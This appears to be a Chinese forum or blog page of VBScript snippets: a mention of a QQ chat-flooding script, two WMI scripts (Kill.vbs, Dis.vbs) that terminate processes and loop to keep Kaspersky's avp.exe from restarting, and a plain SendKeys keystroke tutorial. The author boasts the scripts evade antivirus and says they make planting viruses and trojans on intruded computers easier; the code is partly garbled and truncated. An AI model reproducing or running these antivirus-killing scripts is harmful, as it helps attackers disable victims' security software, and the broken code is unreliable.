打开某位好友或某个群的聊天面板,将此脚本代码保存为AttactQQ.vbs,运行后,将鼠标聚焦与聊天面板上,此时“攻击”就开始了……哈哈!别太疯狂了!
估计你已经了解了VBS的SendKeys方法了吧?
两个简易VBS脚本结束进程与防止进程启动
Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)
Kill.vbs:
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_
'涉及到WMI脚本入侵技术,我不能解释清楚!
if ps.handle=wscript.arguments(0) then&
'判断进程的PID号是否与获得的PID号参数相等
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程
dim y,x '不要这行也行……
do '来个死循环……一直在判断!do ... loop内为循环体!
set y=getobject("winmgmts:\\.\root\cimv2")
'和上面解释一样,这也是涉及到微软的WMI技术!
set x=y.execquery("select * from win32_process where
name='avp.exe'")
'查询语句,where后判断avp.exe(卡巴)是否存在进程中!
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……
for each i in x
i.terminate()& '卡巴要启动马上就终止……
wscript.sleep
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript
2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……
*******************************************************************************
 Dim WshShell
  Set WshShell=WScript.CreateObject("WScript.Shell")
  WshShell.Run "cmd"
  ' 让脚本等待1000毫秒,也就是1秒再执行下一条语句
  WScript.Sleep 1000
  ' -- 发送字符时,输入法一定要在英文件状态下
  ' 发送分号
  WshShell.SendKeys ";"
  WScript.Sleep 1000
  ' 发送冒号
  WshShell.SendKeys ":"
  WScript.Sleep 1000
  ' 发送双引号 -- 利用chr把双引号转换出来
  WshShell.SendKeys Chr(34)
  WScript.Sleep 1000
  ' 发送带有双引号的字符串
  WshShell.SendKeys Chr(34)&"this is a
string"&Chr(34)
  WScript.Sleep 1000
  ' -- 切记,这里是模拟的击键操作,所以不能发送中文
  'WshShell.SendKeys
Chr(34)&"这是一个字符串"&Chr(34)
  WScript.Sleep 1000
  ' ================================================
  ' -- 如何模拟回车,上档键,Alt键喃?
  ' ================================================
  ' -- 如何模拟回车, -- {enter}这就代表是发送回车
  WshShell.SendKeys "this is a enter!{enter}"
  WScript.Sleep 1000
  ' -- 如何模拟上档键Shift, -- +这就代表是发送shift
  WshShell.SendKeys "this is +a" ' 结果为 this is A
  WScript.Sleep 1000
  ' -- 如何模拟Alt, -- %这就代表是发送Alt
  WshShell.SendKeys "this is %{TAB}" ' 结果为 切换窗口
  WScript.Sleep 1000
===========================================================
  ' -- 那么如何发送%, + ^ 喃
  WshShell.SendKeys "this is {+}{^}{%}" ' 结果为 切换窗口
  WScript.Sleep 1000
  ' -- 这里你可能已经明白了,发送送特殊字符时,请放到 {} 中
===========================================================
  ' ======================================
  ' 更多信息请看VBS帮助文档
  ' ======================================
已投稿到:
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。

我要回帖

更多关于 抖音上辞职信vbs怎么做 的文章

 

随机推荐